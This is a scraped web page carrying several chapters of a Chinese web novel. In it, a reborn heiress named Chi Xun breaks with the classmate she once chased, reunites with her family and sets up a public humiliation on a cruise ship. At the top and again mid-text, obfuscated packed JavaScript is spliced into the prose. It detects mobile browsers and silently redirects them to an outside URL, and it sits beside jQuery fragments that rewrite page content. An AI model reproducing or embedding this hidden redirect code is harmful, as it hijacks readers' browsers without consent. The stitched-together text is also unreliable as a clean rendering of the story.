;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179681|196960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的眼神,让傅赫扬不免地又皱了皱眉,不对劲。 在秦魏面前如此听不懂人话,再加上今天他在引以为傲的篮球领域里失去了第一个个人MVP,让本就心情不好的他更是雪上加霜。 “别让我说第二遍,池浔。” 他语气森冷。 但是池浔依旧用一种难以言喻的目光紧锁着他。 两方就这么一时僵持起来。 曹欣雅看了看傅赫扬难看的表情,心道表现的时候到了,转身从小卖部员工手里抽出一瓶矿泉水,塞到池浔的手里,同时笑呵呵: “浔姐,别害羞啊。” “傅哥,你别介意,浔姐可是特意将小卖部的水全都买下来了,浔姐的意思是,你等会儿想让谁喝,谁才能从小卖部里拿水喝噢!” 她就这么两句来回,就将池浔的舔狗形象给加固了。 池浔眼神微冷,捏着矿泉水的手微微使劲。 果不其然,在听到这番话之后,在场的所有人眼神都不对劲了。 以秦魏为首的那群人,不可置信地唰地一下看向池浔。 而与傅赫扬站在一处的那几个男生则是露出果然如此的轻蔑眼神,舔狗就是舔狗。 “阿浔,做人不能这样啊,我们俩的交情,你不能见色忘友啊!” 秦魏嚷道,本就口干舌燥,想着嘲讽完傅赫扬之后就带着大家去隔壁小卖部买水解渴,如今却被告知自己只能灰溜溜地跑去校外才能买到水。 这对刚进行了一场酣畅淋漓的体育竞技运动的他们来说,无疑是晴天霹雳。 虽然没对他们产生实质性伤害,侮辱性也太强了。 “队长,你确定你和池大小姐有交情……”秦魏身边的队友默默地道,能做出这种损人不利己的阴损举动,池大小姐还真是天骄中学里的第一舔狗。 “滚犊子……”秦魏骂道,而在众人的目光里,就看见池浔握着一瓶水,抬脚朝傅赫扬走近。 秦魏的卷发耷拉下来,失落难看的表情,还伴随着些许咬牙切齿。 傅赫扬斜着眼,等人主动靠近,他下颌紧绷,无声冷笑,他今天真的很不满意池浔的表现和态度。 但看在能让秦魏不高兴的份上,他勉强喝一口她送过来的水。 “池浔,你……” “啪!” 场上的气氛突然一阵死寂。 谁也没想到,乖乖送水的池浔,刚在傅赫扬面前站定,就以迅雷不及掩耳之势,抬手,一个带着狠厉气息的巴掌就实打实地落在傅赫扬的脸上。 好比温顺几十年一辈子的狗突然发疯,狠咬了一口自己的主人。 众人始料未及,惊愕不已。 而显然,傅赫扬的头被扇得偏到一边迟迟不见动作,他也完全没反应过来。脸颊很快就红肿起来,足以见得池浔使的劲有多大。 傅赫扬舌尖顶了顶疼痛的腮帮子,深褐色的眼眸里怒不可遏,眼神像是两道冰冷的寒光紧紧刺向池浔,“解释。” 她在生气?为什么……就因为同桌他选了别人? 5. 第 5 章 傅赫扬身边的好友们回过神,立刻就替他嚷嚷,“池浔你干什么!你发什么疯打傅哥!” 傅赫扬眼里的责怪与怒意让他周身仿佛萦绕着一股冷漠的戾气,突然被以前完全不放在眼里的人冒犯到,他觉得胸腔堵着一口气。 就这么冷冷地注视着眼前的人。 池浔也在看着他,但她的眼神让他有种说不上来的不自在。 明明是她闹脾气当着众人的面打了他一巴掌,怎么反倒是她露出一副失望愤怒的神色? 她冷淡启唇:“拿水。” 甚至没有任何解释。 傅赫扬这边的人以为她是在朝他们说拿水,骂骂咧咧地上前,“也是有胆子怎么敢打傅哥的,不解释清楚,这些水我们才不稀罕喝!” 一瓶矿泉水却从一个方向中斜插过来,砸中最前边的一个男生,阻拦住他们的迈向前的步伐。 “哎哟我去!” 池浔幽静淡漠的眸光落到秦魏身上,“过来让你朋友拿水。” “我?” 秦魏一脸不敢相信,手指着自己,嘴巴从见到池浔打了傅老狗一巴掌开始就张得老大,表情显得憨厚滑稽。 得到确切的回应后,秦魏虽然还有些不明所以,但他看到傅赫扬那群人脸色如丧考妣时,便自动切换成仿佛打了胜仗的战斗鸡。 屁颠屁颠地从员工那里拿了水,使坏地朝傅赫扬的方向虚空敬了敬手中的矿泉水,随后如同品尝仙酿般大口灌了一下,“爽!” “……” “浔姐,这……”曹欣雅一脸讶异,像是看到了完全不可能发生的事情。 “你们也去拿。” 傅赫扬眼神阴沉片刻,忽而吩咐身边的兄弟。 身边的人啊了声,尤其是那个被水砸了一下的男生,他一时不敢有所动作,池浔平常是傅哥舔狗,为了傅哥,也会对他们这些好兄弟好脸色,现在乍然碰到池浔黑脸,实属是给他们吓了一大跳。 “傅哥,这池浔好像不对劲……”有人露出退却之色,毕竟他们几个在和傅哥混之前,只是个普通学生,而池浔家,据说可是经常出现在电视报纸里的。 “去。”傅赫扬语气强硬。 众人能够察觉出来傅赫扬此时心情已经非常不好了,傅哥是从J省来的有钱公子哥,他们也不敢违抗命令,再加上嗓子干渴得要冒烟,只能硬着头皮往前。 果然被拦下了。 秦魏得了吩咐,牢牢地挡住他们想靠近那两箱矿泉水的脚步,得意洋洋地甩了甩头发,“干什么干什么,不是不稀罕喝么?而且,准你们喝了吗?” 池浔:“喝也可以,一百元一瓶。” “一百?抢劫啊!” 傅赫扬:“池浔,你要闹,也要有个限度。” 她转动眸子,冷静刺骨的目光,“包括你。” “傅少好歹也是J省来的,这么点钱总不至于拿不出吧,你的好兄弟们可是帮你拿下了刚才的比赛。” 秦魏不嫌事大地煽风点火。 而傅赫扬身边的那群人心想,的确如此啊,便扭头看向自己追随的老大。 谁知傅赫扬脸色阴沉得更加难看,迟迟不语。 顶着一张被扇肿的脸,显得滑稽又阴暗,眼神也变得阴鸷。 池浔心中冷笑,骑虎难下了吧。 在场的全都不知道,平常穿各种奢侈品牌手表鞋子的傅大少爷,虽然身世的确是阔少。 但他如今从J省来到H省,可是相当于被家族流放啊。 一个被流放被舍弃的家族大少爷,住的是她名下的别墅,花的都是她的零用钱。 平常都是随时黏在他身后的池浔买单,他身上估计连块钢镚都拿不出来。 池浔非常乐意见这一出好戏。 傅赫扬看着她,眼神威胁更甚,但是平常对他小心呵护的池浔却突然眼瞎了一般,最终,傅赫扬冷冷地摘下比赛结束后重新戴上的手表。 他拿着表,盯着面前的池浔,“这表有十几万,够买下你所有的水了。” 池浔伸手。 傅赫扬眉毛冷竖,将手表丢给她。 她是不是借此发挥,目的是想要他贴身的东西,还真是阴险恶心。 手表刚落进她的掌心,下一秒,池浔随手将其塞进了旁边一个人的手里,“送你了。” 就像丢垃圾似的,一秒都不愿意拿着。 她做这个举动时目光依旧看着傅赫扬,如愿在对方的脸上看到了被羞辱的生气与难堪。 池浔爽了。 而傅赫扬面如锅底:“池浔,今天这出,我记住了。” 他将手里的包狠狠地甩在肩上,转身气冲冲地离开了。 “哈哈傅老狗好像是逃兵,真狼狈啧啧啧!” 耳边传来秦魏得逞猖狂的笑容。 池浔眼神微动,心里表示肯定。 终于看到了傅赫扬尴尬窘迫的样子。 这让她堵在心口的一股闷气终于泄出一点。 秦魏乐呵呵地凑上来,兴奋地道:“阿浔,你终于清醒了!以后也请这么对待傅老狗!” 不要再像以前那样,卑微地追在对方身后了。 秦魏是她在H省时的朋友,也是喜欢舔狗女配的炮灰,故见不惯傅赫扬对她的冷漠轻视态度,上辈子他的结局好像是一直被春风得意的傅赫扬给打压公司,最终被迫出国。 池浔三两句将秦魏打发走了。 她正准备离开,有股温暖热意靠近她,又一道声音响起,清澈的少年音夹杂变声期的沙哑: “你的表。” 她循声看去,一个穿着长款校服的少年正面无表情地将手中的东西递过来。 指骨修长的手掌心里放着刚才被傅赫扬拿来抵债的名牌腕表。 好熟悉的一张脸。 ……这是年轻时候的死对头。 对方显然有点拘谨沉默,说完那一句话后便抿着唇,维持着递过来的举动,甚至目光都不敢多停留在她的脸上。 还真是很青涩呢。 池浔心想,她的脑海里却闪过当初他冷漠注视她被富商威胁围堵的模样,心底突然涌出一股非常浓烈的不爽情绪。 陆晦之察觉对方的沉默,刚抬眸,倏忽捕捉到面前的少女眼里可以说得上憎恶的情绪。 很强烈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179682|196960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>旋即,对方突然道:“脏东西。” 她的声音属于那种清冷的,此刻却丝毫不掩饰她的嫌恶,反倒显得异常扎耳。 而她与他对视,也不知道是在说手表是脏东西,还是在说触碰手表的他是脏东西。 陆晦之睫毛微颤,下意识地敛眸,另一只手悄悄地掩住校服上的补丁痕迹。 “浔姐,你今天太过了吧?” 曹欣雅出声打断了两人之间那种情绪波动,目光情不自禁地流连在少年手里来自傅哥的手表,她一脸不赞同地朝池浔说道。 “你就算是因为傅哥拒绝了和你坐同桌,选择了别人,也不能朝他耍那么大脾气,傅哥不会喜欢你这种高傲的性格的,你得改啊!” 若是往常,池浔早就着急地接话,问她该怎么改,生怕傅赫扬会对她产生厌恶。 但现在的池浔,她幽然而问:“欣雅,你为什么老是说我耍脾气,明明是傅赫扬出尔反尔。” “但你也不能扇他巴掌啊,还当着这么多人的面。” “欣雅,我只要想扇人巴掌,有大把人会愿意将脸递过来给我扇。” 池大小姐悠悠说道,她说的也是事实,能得池家大小姐的青睐,别说是挨一巴掌,就算是做她的狗,也会有大把人前赴后继。 但天骄中学的学生,见多了这一个月以来池大小姐疯狂的追爱舔狗行为,对于她的身份感知并不准确。 而曹欣雅却很清楚,甚至因为接触得更多更深,知晓池家人有多宠爱池浔,故当池浔说出这一句堪称张狂的话时,她很明智地选择了不吭声。 池浔冷淡地瞥了一眼她,将南南喊上,两人率先离开了。 曹欣雅看着两人的背影,恨恨地跺了跺脚。 性格如此古怪,傅哥会喜欢才怪! 两个送水的员工走上前,“同学,我们老板说,小卖部的水都已经打包好了,可以去结账了。” ……糟糕,忘了这事! 刚才在小卖部时,曹欣雅原本想让池浔当即付钱的,但池浔说急着给人送水,等会儿老板都把小卖部的所有存货都打包好之后,再一并付账。 但现在,人全都走了,就剩她了! 曹欣雅连连摆手,脸色有点尴尬,“不是我买的啊,是刚才那女生,你们找她去啊!” 两个员工语气变得强硬起来,因为是搬货的,所以长得人高马大,就这样盯着她说道:“同学,是你说要买下小卖部所有水的,做人要言而有信啊。” “……好、好吧。” 曹欣雅付了钱,心头都在滴血,对池浔的恨意又上涨了一层。 也是此时,她终于确认了一件事,池浔果真是不一样了! 从知道傅赫扬不选她做同桌开始,她性格刚开始只是表现出来不高兴,但今天,却莫名其妙地变得古怪起来。 甚至刚才的表现,隐隐有种因爱生恨的感觉。 那她是不是有机会了…… 曹欣雅对池浔产生愤怒的同时,又不可避免地产生一种窃喜算计。 池浔表现得越高傲,目中无人,就会把傅赫扬推的越远。 她很乐意见到这种场景。 6. 第 6 章 天骄中学的正门口,一辆叫声很长的黑色宾利安静地停驻着,如同沉睡的百年贵族,一串连号数字的车牌号嚣张地悬在车前。 如果不是这时候已下午六点多,学生家长早已散了,这台车的出现将会引发一场热烈讨论的轰动。 池浔走出学校门口,便看到了家里的车停在路边。 她带着南南一起走过去,上了车,“走。” 坐在前排的年轻司机疑惑地问,“小姐,傅少还没出来,不等一下……” “我说,走。”池浔再次重复。 司机欲言又止,最终闭了嘴,启动车子。 车开出去没多久,在经过校门口一家超市时,几道身影出现在视野里。 司机定睛一看,“小姐,是傅少!” 他没等吩咐,就自顾自地踩了刹车,甚至一副熟稔的语气,“小姐,无论傅少再怎么对你,你喜欢他,就不能太任性,我现在就帮你把人请过来。” 紧接着,一个司机,就这么把自己雇主给扔在车上,自作主张地离开了。 南南都愤怒地瞪着眼:“阿浔姐,这人怎么这样……” 池浔反倒冷静,漠然地想,这司机经常被她安排给傅赫扬出行,不知道从什么时候开始,他对她这位真正雇主的态度越发散漫。 真是养不熟的狗。 她才没那么多闲工夫等司机带着她讨厌的人过来,今日当着众人的面,往最看重面子的傅赫扬脸上扇了一巴掌,让她出了一口怨气。 她现在更重要的一件事,并非报仇。 是与自己上辈子辜负的家人们见面。 傅赫扬、曹欣雅那些蠢东西,对重来一世的她来说,不值得占据她的全部精力。 “阿浔、浔姐?” 南南惊呼。 对方做出了一个她从没有想过的举动。 她怔怔地看着原本坐在后座的女生,突然推门下车,换坐到驾驶座上,熟练换挡启动引擎。 一打方向盘,直接擦着那群人的身边咻地一下溜过,车尾气甩了一脸,他们目瞪口呆。 而驾驶位上的女生侧脸精致,鼻尖挺拔,赛雪肌肤隐匿在昏暗天色的阴影里,举手投足之间,有种难言的帅气。 南南听到窗外传来司机不明所以的慌乱大叫: “小姐!我还没上车呢!诶!” 她刚才的愤怒突然就消散在胸腔里了,两眼放光地盯着前排的女生。 “阿浔姐,你好厉害呀。” …… 傅赫扬冰冷的目光从飞驰而去的宾利上收回,看向司机,“这就是你说的,她知道错了?” 司机额间冒冷汗,“啊、啊,傅少,我也不知道啊,小姐她性格就这样的,我不知道……” 后面的解释已经没人想听了。 “哇靠!我浔姐就是酷!” 和人勾肩搭背的秦魏也目睹了这一幕豪车甩一脸尾气后潇洒离去的场面,发出惊叹。 宾利经过他们面前时,他疯狂摇手打招呼,“浔姐牛逼克拉斯!” 对方只冷淡地瞥了一眼这边的方向,就引得秦魏心潮澎湃,直呼帅死人了。 不仅自己激动,还妄图拉着身边人一起应和,但他一转头,猝然对上一双死寂幽淡的眼眸。 “……” 秦魏就像被当头泼了一盆冷水,“诶,你能别摆出这一副死人脸吗?” 显然,人不想搭理他,朝他伸手: “钱。” “噢噢,差点忘了,三百是吧。”秦魏摸了摸自己的口袋,叫了声,“我去!我忘带了!” 秦魏顶着对方阴森的眼神攻势,尴尬地挠头,打开手机,“陆晦之,陆哥!这样,我们加个好友,我微信上给你转行不行。” 洗得发白的校服打着补丁的少年:“没有。” “啊?什么没有?” 少年抿了抿唇,面无表情地道:“没有微信。” “这样啊……”秦魏有些不自在,“那陆哥,你留个手机号呗,明天国庆放假了学校不开门,我看怎么把钱送给你。” 存完手机号,少年就离开了。 态度极其高冷,秦魏无所谓地耸耸肩,大佬嘛,居然超过傅老狗,拿到了个人mvp,他花这三百块钱,值了! · 池浔将南南送到她家,然后一踩油门,一路近乎飙回了自己家。 宾利沿着盘山公路,经过蓝色静谧如宝石的人工湖,从两片葱绿青青的大草坪中间穿梭,最后途径一个音乐喷泉,最终车停在了前院。 一栋蓝白相间的独栋别墅被大片大片绣球花洋桔梗包围,设了高科技门禁锁的大门自动往两边打开,一群人鱼贯而出。 管家领着佣人早已守候多时,他上前正准备打开车后座车门,驾驶位门被打开,自家小姐从前面走了下来。 管家:? “小姐,你怎么自己开车回来了?”身穿燕尾服的管家大惊失色,脸部微微褶皱,“小何呢?” 池浔甩上车门,将车钥匙随手丢到另一个佣人端着的托盘上,她大步流星地往别墅里走,“把他辞了。” “噢噢,小姐,但是你才上个星期刚拿到驾照,你是一个人从学校开回来的吗?这也太危险了,老爷夫人知道了,他们会担心的……” 管家跟上去,喋喋不休,也不发怵池浔的冷脸。 他看着小姐走进别墅里,脚步匆匆,四处巡视,走了一圈,神态还有些失望与着急。 这是在找傅家少爷? 管家心中叹气,开口安慰:“小姐,傅少爷还没回来呀……” 池浔突然出声打断他,“伯伯,我爸妈呢?他们怎么不在?” “老爷夫人去祖宅了啊,今天是周五,小姐,您忘啦?” 管家道,他眼底划过惊诧,这是第一次,小姐回家最先找的不是傅少,而是老爷夫人。 池家往上数八代,祖辈在古时属于豪绅贵族,尤为重视宗亲血缘,常以定点定时的仪式来维系族亲们的感情。 发展至今,每周五晚上便是一次维系感情的纽带,外祖家便会在祖宅设宴,要求若无特殊情况,族内血亲都要带着家人们前往赴宴。 而池浔是家族里最任性的一个小辈。 这说的不是她性格有多纨绔整日给家族惹事,恰恰相反,她性子自小冷漠稳重过了头,雪白娃娃惹得族亲们心生怜爱。 因为她自小稳重寡言的性格,这曾导致家里人因担忧她生病而带着她去看了几次医生的误会。 但谁曾想,听话的乖娃娃因为父母工作调动,从H省搬到J省几年,就被傅家小子迷昏了头。 从初二年级开始,娃娃性格越发冷漠,但面对傅家小子却是一日比一日狂热。 为了追着傅家那小子跑,转学回H省一个月了,却只去过一次家宴,而且唯独的那次还和家里人闹了很大的矛盾。 往日温柔的父亲厉声地说出:“以后你想干什么就干什么,我们再也不管你了,你自己为自己负责吧。” 而一向宠溺她的妈妈也露出失望的神色看着她。 就这样和家里人闹起了冷战,持续足足一周,直到今天。 而今晚家宴,池浔甚至没有再被父母喊上,重生回来的她也一时忘记了。 “哎呀哎呀,小姐,怎么了,是不是受委屈了,没事没事,不哭啊……老爷夫人他们待会儿就回来。” 管家心疼无比,往日儒雅稳重的老派绅士此刻却手忙脚乱,招呼佣人拿来干净绢巾,给呆愣在原地落泪的小姐擦眼泪。 池浔感受到豆大的眼泪划过她的下眼睑,原来她不知不觉中落下了眼泪。 她接过绢巾,擦干眼泪,“管家伯伯,我没事,只是有点想吃……您做的醉虾了。” “您要吃,吩咐一声,阿伯现在就去做啊,你们去给小姐放热水。”管家有点激动,连连应下,“小姐,你现在先去洗个澡好不好,洗完澡出来,就好了,就好了。” 管家伯伯不断重复“就好了”这类词,无形中安抚了池浔内心的不安。 池浔点头,和佣人们上楼回房间洗澡了。 管家和蔼地目送小姐离开视线,眼神陡然变化,吩咐身边的人,“你,去调查一下今天小姐发生了什么?尤其是傅家那小子对小姐说了什么、做了什么,一一弄清楚。” “你,现在去打电话叫人运些新鲜的海虾,噢再多准备点其他小姐爱吃的,把食材备好。” 他吩咐完底下的人,先拿起家里座机打给了外出的老爷夫人。 电话一接通,他激动地嚎: “不好啦,夫人,老爷,小姐她受欺负了,流着泪找爸爸妈妈呢!你们赶紧回来吧!” 池浔换了件家居服,就重新下楼,却没想到客厅里坐满了人。 “妈、爸、姑姑、表妹……” 池浔失神,心心念念的亲人一个个完好无缺地出现在她的面前,让她就像做了一场美好却虚幻的梦般,迟迟挪不动脚步,生怕动了梦境就碎了。 “糯糯,我们回来了。” 温柔儒雅的父亲朝她招手。 情绪再也难以压抑,如同开了闸的洪水顷刻泄出,池浔就像乳燕投林,跑过去,一头扎进了两个女人的怀里。 “……唔……” 将脸死死埋在妈妈的怀里,嗅着独属妈妈清香的味道,她死死地咬住下唇,眼眶发热。 被她抱住的女人与另一边的丈夫相对视,感觉茫然,内心升起一股慎重。 女儿从来没有对他们这么亲近,到底发生了什么? “宝贝,你怎么啦?让姑姑看看……”身旁穿着水蓝色旗袍的女人柔声地哄着,手轻轻地抚过她的发丝。 而身旁穿着公主裙的表妹:“姐姐,谁欺负你了!老娘干死她!” 四人没等多久,池浔便从池妈妈的怀抱里退出来,她神色平静,眼尾带着红意,脸上带着未干泪痕,足以窥见她的狼狈。 “我没事,我就是知道错了,上周我不该当众和外婆争吵,让外婆气得犯病了。” “知错就好,你外婆也不怪你了,她今日还问你怎么没来呢。” “好啦好啦,别哭啦,眼睛哭肿了就不漂亮了。”池妈妈抬手摸了摸女儿带着泪痕的脸,平日威严的脸早就柔和下来。 “家里新增了条海洋航线,明天国庆,和你表哥表妹去玩玩,散散心。” “对呀姐姐,我今晚就住这里,明天我们一起出发!我哥已经带着他娱乐圈的人脉等候我们啦!”表妹欣喜地道。 “是啊,糯糯,我已经让你表哥安排下去了,你多认识几个人,就不会一棵歪脖子树上吊死,还为不值得的人掉金贵的眼泪。” 池爸刚说完,就被身边的妻子抬手打了一胳膊,“和小朋友胡说什么呢。” 妈妈转头过来,温柔又严厉:“糯糯,你记住,就算你之前遇见了一个糟糕的男人,也不能够被他影响了情绪,男人在你漫长的一生里,不值一提,明白吗?” 池浔笑中含泪:“好。” 是啊,这番话妈妈在上辈也曾说过,但是对一个被恋爱脑残剧情控制的女儿说这些话,形同虚设。 对于这由脑残言情文演化而来的剧情世界来说,所有的一切都是在为男女主的爱情铺路。 一个作为男主舔狗的炮灰工具人,谈何自己? 可是既然一切都是剧情控制,那她的家人们呢…… 池浔眼里划过稚子般的茫然与困惑,慌乱地握住妈妈想要收回的手,“妈妈,爸爸,你们……是真实的吗?” 你们对我的爱是真实的吗? “你这孩子,胡说什么,当然是啦。”池爸爸与池妈妈对视一眼,前者无奈地道,“无论发生什么,爸妈都会站在你身后。” “你爸说得对,所以发生了什么事,一定要说出来。” 他们虽然无奈她说出这些无厘头的话,却察觉到了她的恐慌,并做出承诺。 池浔感觉到一股暖流从心里头蔓延到全身。 大脑突然变得前所未有的清明,因为重生、穿书、剧情控制而一直有一种恐惧不安的情绪,如今却如同脚踏实地般释然。 是啊,她能感受得出来,将她视如珍宝的爸爸妈妈对她有深厚的感情,哪怕是剧情设定,是真是假已经不重要了。 重生回来,她有仇报仇,有怨解怨,珍视自己身边的亲人好友,哪怕是大梦一场,至少体会过情绪,有过体验。 深夜。 别墅里二层,宽阔的卧室里,一道穿着睡裙的身影伫立在落地窗前,遥望远方枝头悬挂的明月。 月牙发出莹莹光辉,晚风轻拂,奇形迥异的树枝在月身上映出张牙舞爪如野兽的黑影。 池浔在脑海里梳理了上辈子的一些关键节点,尤其是吃里扒外的姑父是从什么时候开始对池家动手的。 她掏出平板,划出一个藏在私密记事本里的文档。 文档里面只有寥寥几个名字。 她莹白指尖轻轻划过那上面的每一个名字,嘴角无声地挑了挑,眸底却幽深无比。 诡谲如藏迷雾,给人一种剧烈的危险。 复仇开始了。 “大佬,救我狗命!” “快快快,给我作业,我得抄一下!笑面虎是今天第一节课,他指定要查作业啊啊啊!” 旭日升起,鸟雀鸣叫,天骄中学的校园里沐浴在阳光下,清静了三天的校园大早上开始,又渐渐充斥着烦恼作业的青春之音。 池浔走到自己的教室里,她一出现,班里吵杂的氛围突然一静。 所有人的视线都明里暗里地出现在她身上。 池浔神态淡淡,唯有在教室的角落处目光微顿一瞬。 对方似乎对于外界的目光很敏感,猝不及防地抬眼,也看了过来。 两人对视,纷纷一怔。 池浔看着对方严肃淡漠的脸,系到最顶的校服纽扣,大脑里却闪过几个令人耳红心跳的画面。 嘶……糟糕,对死对头的印象越来越不堪入目了。 此时,傅赫扬与他身边的兄弟们走进教室,就看到他们二人遥遥相望的场景,心中恼火,酸妒让他口不择言: “烂人。” 池浔陡然将眼神落在他身上,“怎么,傅少这么有自知之明,知道自己是个烂人?” “池浔你!” “诶,我在呢,这是准备还钱了?”池浔伸出一只手,四指微曲,像招狗,“还吧。” “池大小姐还真不当舔狗了诶,看来真的是移情别恋了。” “要我说,池大小姐人美家世好,何至于整天跟在一个男人后面热脸贴冷屁股,现在做得好。” “傅赫扬那种被家族灰溜溜赶走的人,池大小姐好心照顾他,他居然不识好歹,啧啧。” 同学们作为吃瓜群众,聊八卦聊得可兴奋了。 当然也有人不明所以,“你们在说什么啊,这可是傅少啊,你们不要命了当着人的面说对方不识好歹……” 同学们看着唯一一个因为生病没有参与国庆那场算账大戏,非常好心地为对方解说前情提要。 “事情还要从国庆那一天开始说起啊……” “姐姐,你换好衣服没有呀!我们出发去港口啦!” 轻快的脚步声哒哒哒传来,一个戴着粉色小礼帽的女生探进一颗头,扒在房间门口望进来。 池浔将最后一条短信发出去,不动声色地收起手机回过身,“好了,表妹,我们走吧。” “啊?姐,你这是要去谈判桌上大杀四方还是去玩啊,怎么穿了一套黑西装。” 表妹不解地歪头,话锋一转,“但别说,姐姐你好帅,想嫁!” “好啦,别贫。”池浔握住行李箱拉杆,和人走出房间。 她恢复了往日的高冷少言,惹得表妹侧目,昨日那个委屈落泪的表姐就像是她虚幻出来的。 现在这样的表姐,才是她印象中的模样。 佣人帮忙将行李箱拿到车上,家里父母和姑姑早就坐着私人飞机,前往新加坡旅游度假了。 她们俩坐上车,便直朝H省最大的港口而去。 “姐姐,你知道不,我哥把他身边认识的所有明星帅哥都喊来了,等一会儿你要是看上哪个,你就大胆说,表哥给你安排!” “不感兴趣。”池浔收到一切安排就绪的消息,她轻勾唇角,散漫笃定的声音在车内响起: “妹妹,今天,我请你看一出好戏。” “啊?是什么呀?” 两人聊天间,就到了港口,港口处有一艘游轮停在岸边。 华丽的游轮,用彩色喷漆装裹,足有八九层楼那么高。 这是池家名下的游轮,池家作为H省赫赫有名的海洋霸王,名下有无数游轮船只,也会出售给其他有钱人。 池浔下了车,眺望着这艘巍巍巨轮。 上一世,姑父夺得了池氏的全部家产,对名下能掌控的游轮,都将名号从“海驰号”改成“何家号”,试图抹除池家的一切痕迹。 还真是难为那位好姑父对他们池家如此深沉的恨了。 而她最后,也在更名为“何家号”的游轮上坠落,溺亡。 这一世,她的结局,由她说了算。 “姐姐,我们上船吧!” 表妹兴奋的招手呐喊,让一身黑的女生收敛了眼底冷酷的情绪。 “魏哥,你原来这么有钱啊,居然还能请全班来游轮上参加party,太强了!我们也是见世面了!” 另一边的门,二十几位年轻少男少女在服务生引导下,一个个乖乖排着队上船。 “我这是纯粹借花献佛啊。”秦魏憨憨地笑,他指着游轮,“同学们瞧见了吗?” “海驰号HC1008?” “没错!大家知道我们H省最出名的,除了热死人的天气,就是盛产海鲜,我们也是海洋强省,而在这个领域里有着不可替代的地位的,是哪家吗?” “秦家?哦呦,想不到魏哥你如此有钱如此有来头啊!” “去去去!”秦魏伸手狠拍了一下身边插科打诨的小弟脑袋,“肯定不是我啊,我家就有点钱而已,——是池家!” “池?”同学喃喃,猛然道,“不会是池浔的池吧!” “什么?哪个池浔?那个追着傅少跑的池舔狗??” “这么大来头的吗?” “这么厉害背景的人,为什么还要对一个男人低声下气的,难道傅少的来头更大?” “大个屁!”秦魏呸了一口,恨恨地说:“傅赫扬不过就是被他家族放弃的一个少爷而已,和我们浔姐,哪能比得上,浔姐心善,喜欢他才会处处迁让他,他倒好,蹬鼻子上脸!” 秦魏班级的同学们就一边听了半小时他对傅赫扬的吐槽,一边经受严格的安检环节,才登上了游轮。 让侍应生将同学们都一一安排好,秦魏拿起手机打了个电话,“浔姐,幸不辱命,我把我们班里的人都喊来了。” 池浔:“很好,等事情结束,我请你吃饭。” “行啊行啊,浔姐,你到底想做什么,给小弟透露透露呗。” “如你所想,让傅赫扬身败名裂,社会性死亡。” 池浔道。 “真的?!那真是让人十分期待啊!王,请尽情地吩咐我吧!” “别嘴贫,第二个任务你完成了吗?”池浔将手机开了免提,一边拿过平板,连接了游轮主宴会厅的所有监控。 “啊……哈哈,没有。”秦魏干笑两声,“我打电话了,我让陆晦之今天过来一起玩,然后顺便把钱转给他,但他说要兼职没空来。” “没事,以后玩的时候记得把他喊上。”池浔淡淡地道。 秦魏疑惑:“浔姐,我老早就想问了,怎么突然让我和陆晦之一定要成为好朋友,尤其是出去玩一定要带上他,你还帮他报销,我这个发小都没这个待遇……” 自然是想要她的死对头玩物丧志了。 池浔心里想,面上却忽悠秦魏,“他帮我压了压傅赫扬的威风,感谢一下而已,我也给你报销,行了吧。” “嘿嘿,谢谢浔姐!” “行了,没事就挂了……” 池浔正准备挂断电话,秦魏突然出声:“阿浔,你确定今天要这么做?不会后悔?” 池浔轻嗤:“做舔狗这么多年,终于能解放,我只觉得自己没有早日这么做。” “你这么想就太好了!”秦魏乐呵起来,保证道,“放心,今天我一定让傅赫扬终生难忘。” 游轮在上午11点时准时启航。 池浔也收到了秦魏那边发来的消息,人员已到位。 好戏可以登场了。 此时一个大包厢里,坐着天骄中学A班的同学们,他们满眼新奇,看着四周昂贵奢侈的装潢,透过窗还能欣赏大海美景。 傅赫扬和他的好兄弟们姗姗来迟,但这次,他们当中多出来一个扎着马尾辫的女生。 “握草,这地方这么大,居然都是海鲜。” 一进门来,他们便忍不住惊叹。 虽然平日里傅哥出手阔绰,经常带着他们出入餐厅会所,也算是有过世面了。 但这次的游轮宴会之隆重,还是超出了他们的想象。 傅赫扬却是见惯了,他直奔主题,看了一圈,没发现想看到的人 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还真是零帧起手,张口一阵恶臭,对池浔同学充满了偏见啊。 但是……池大小姐可真不是他们能惹得起的人啊。 傅赫扬朝秦魏不耐烦地开口:“什么东西?” 秦魏强忍怒意,“自然是好东西。” 随后,他走到包厢内的投影仪面前,一通操作后,大屏幕上呈现出来一条……长长的账单。 不是礼物,也不是什么惊喜,而是冰冷的账单数字。 “7月3日下午,从池浔的车库里擅自开走一辆黑色卡宴,至今未还。” “7月8日晚上,在豪庭会所里消费三万六千八百元,私自记在池浔账目下。” …… “8月10日,擅自带朋友前往池浔名下私人温泉别墅,破坏古董文物十余件,损失预估总计六百三十万。” “9月18日,餐厅消费一万四千元……” …… “请傅赫扬先生与其朋友在约定时间内还清所有债务,并迅速搬离池浔名下的别墅住宅,否则依照私闯民宅报警处理。” 这一条长长的账单,被秦魏用激情澎湃、抑扬顿挫的声音给念出来。 傅赫扬脸色阴霾极深,似乎随时要暴起,“别念了!” “不是吧,这些不是池舔狗自愿赠予我们的,她是抽风了吧,居然叫傅哥还钱!” “惹怒了傅哥,她以后还想不想和傅哥在一起!?” 他身边的兄弟们看到那一长串的账单,里面有不少是出自他们,当即慌了,扯着嗓子喊。 “秦魏,今天这一出,不会是你搞的鬼吧……让池浔出来!让她和傅哥当面说清楚!” 